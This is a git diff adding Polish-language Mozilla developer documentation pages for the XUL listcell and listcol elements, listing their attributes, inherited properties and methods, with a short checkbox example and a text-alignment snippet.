+</dt><dd> <code><a href="/pl/docs/Mozilla/Tech/XUL/listcell" title="listcell">listcell</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/listcol" title="listcol">listcol</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/listcols" title="listcols">listcols</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/listhead" title="listhead">listhead</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/listheader" title="listheader">listheader</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/listitem" title="listitem">listitem</a></code>
+</dd></dl>
+<dl><dt> Interfejsy
+</dt><dd> <a href="pl/NsIAccessibleProvider">nsIAccessibleProvider</a>, <a href="pl/NsIDOMXULMultiSelectControlElement">nsIDOMXULMultiSelectControlElement</a>
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/listcell/index.html b/files/pl/mozilla/tech/xul/listcell/index.html
new file mode 100644
index 0000000000..312989c822
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/listcell/index.html
@@ -0,0 +1,135 @@
+---
+title: listcell
+slug: Mozilla/Tech/XUL/listcell
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/listcell
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Pojedyncza komórka <code><a href="/pl/docs/Mozilla/Tech/XUL/listbox" title="listbox">listbox</a></code>; używana do tworzenia komórek zawierających tylko tekst.
+</p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-crop">crop</a>, <a href="#a-disabled">disabled</a>, <a href="#a-image">image</a>, <a href="#a-label">label</a>, <a href="#a-listcell.type">type</a>
+</dd></dl>
+<dl><dt> Własności
+</dt><dd> <a href="#p-disabled">disabled</a>
+</dd></dl>
+<dl><dt> Klasy stylów
+</dt><dd> <a href="#s-listcell-iconic">listcell-iconic</a>, </dd></dl>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad"> Przykład</h3>
+<p>(potrzebny przykład)
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p>
+</p><div id="a-crop">
+
+<dl><dt> <code id="a-crop"><a href="http://api/pl/docs/Mozilla/Tech/XUL/Atrybut/crop">crop</a></code>
+</dt><dd> Typ: <i>jedna z poniższych wartości</i>
+</dd><dd> Jeśli etykieta elementu jest zbyt duża by zmieścić się w danym miejscu, to jej tekst zostanie skrócony po stronie określonej przy pomocy atrybutu <code>crop</code>. Wycięty fragment tekstu zostanie zastąpiony wielokropkiem. Jeśli kierunek pudełka jest określony w lewą stronę, to skrócenie tekstu nastąpi w tym samym kierunku (czyli z lewej strony):
+</dd></dl>
+<ul><li> <code>start</code>: Tekst będzie skrócony z lewej strony.
+</li><li> <code>end</code>: Tekst będzie skrócony z prawej strony.
+</li><li> <code>left</code>: <span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span> Tekst będzie skrócony z lewej strony.
+</li><li> <code>right</code>: <span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span> Tekst będzie skrócony z prawej strony.
+</li><li> <code>center</code>: Tekst będzie skrócony w środku, pokazując oba końce: początek i koniec normalnego tekstu. </li><li> <code>none</code>: Tekst nie będzie skrócony przy zastosowaniu wielokropka. Jednakże, tekst skrócony zostanie po prostu obcięty, jeśli będzie za duży. Strona skrócenia owego tekstu zależy od rozmieszczenia tekstu określonego w arkuszu stylów CSS.
+</li></ul>
+<pre class="eval"> menupopup &gt; menuitem, menupopup &gt; menu { max-width: none; }
+</pre>
+<p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<div id="a-disabled">
+
+<dl><dt> <code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Określa, czy element jest wyłączony. Jeśli atrybut ten ma wartość <code>true</code>, to element będzie wyłączony. Wyłączone elementy zazwyczaj są wyszarzone. Jeśli element jest wyłączony, nie odpowiada na czynności użytkownika, nie może zostać na niego ustawiony focus, a zdarzenie <i>command</i> nie zostanie wywołane. </dd></dl>
+<div class="float-right"><img alt="grafika:XUL_ref_attr_disabled.png"></div>
+<pre>&lt;!-- Pole wyboru włącza/wyłącza przycisk --&gt;
+&lt;checkbox label="Enable button"
+ onclick="document.getElementById('buttRemove').disabled = this.checked"/&gt;
+&lt;button id="buttRemove" label="Remove All" disabled="true"/&gt;
+</pre>
+</div>
+<div id="a-image">
+
+<dl><dt> <code id="a-image"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/image">image</a></code>
+</dt><dd> Typ: <i>adres URL obrazka</i>
+</dd><dd> Adres URL obrazka do wyświetlenia na elemencie. Jeśli ten atrybut zostanie opuszczony, to żaden obrazek nie zostanie wyświetlony. Pozycja obrazka jest określona przez atrybuty <code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code> i <code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>.
+</dd></dl>
+
+
+</div>
+<div id="a-label">
+
+<dl><dt> <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Etykieta, która zostanie wyświetlona na elemencie. Jeśli zostanie on usunięty, to żaden tekst nie zostanie wyświetlony. </dd></dl>
+
+
+</div>
+<div id="a-listcell.type">
+
+<dl>
+ <dt>
+ <a href="pl/XUL/Atrybut/listcell.type">type</a></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Możemy zrobić komórkę pola wyboru w <code><a href="/pl/docs/Mozilla/Tech/XUL/listbox" title="listbox">listbox</a></code>, przez ustawienie tych wartości atrybutów na <code>checkbox</code>.</dd>
+</dl>
+</div>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><div id="p-disabled">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/disabled">disabled</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code>.</dd>
+</dl></div>
+<table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Klasy_styl.C3.B3w" name="Klasy_styl.C3.B3w"> Klasy stylów </h3>
+<p></p><dl>
+ <dt>
+ <code><a href="https://developer.mozilla.org/pl/docs/XUL/Styl/listcell-iconic">listcell-iconic</a></code></dt>
+ <dd>
+ Klasa ta pozwala na wyświetlenie obrazka w komórce listy. Obrazek należy określić przy pomocy atrybutu <code id="a-image"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/image">image</a></code>.</dd>
+</dl>
+<p></p>
+<h3 id="Wskaz.C3.B3wki" name="Wskaz.C3.B3wki"> Wskazówki </h3>
+<p>Jeśli chcesz wyrównać do prawej strony zawartość komórek możesz to zrobić w następujący sposób:
+</p>
+<pre class="eval">cell = document.createElement("listcell");
+cell.setAttribute("label", "This is the cell's label");
+cell.setAttribute("style", "text-align:right");
+</pre>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt> Elementy
+</dt><dd> <code><a href="/pl/docs/Mozilla/Tech/XUL/listbox" title="listbox">listbox</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/listcol" title="listcol">listcol</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/listcols" title="listcols">listcols</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/listhead" title="listhead">listhead</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/listheader" title="listheader">listheader</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/listitem" title="listitem">listitem</a></code>
+</dd></dl>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/listcol/index.html b/files/pl/mozilla/tech/xul/listcol/index.html
new file mode 100644
index 0000000000..486fd5084d
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/listcol/index.html
@@ -0,0 +1,95 @@
+---
+title: listcol
+slug: Mozilla/Tech/XUL/listcol
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/listcol
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Kolumna w <code><a href="/pl/docs/Mozilla/Tech/XUL/listbox" title="listbox">listbox</a></code>. Można tworzyć kolumny elastyczne lub nieelastyczne.
+</p>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>(potrzebny przykład)
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a 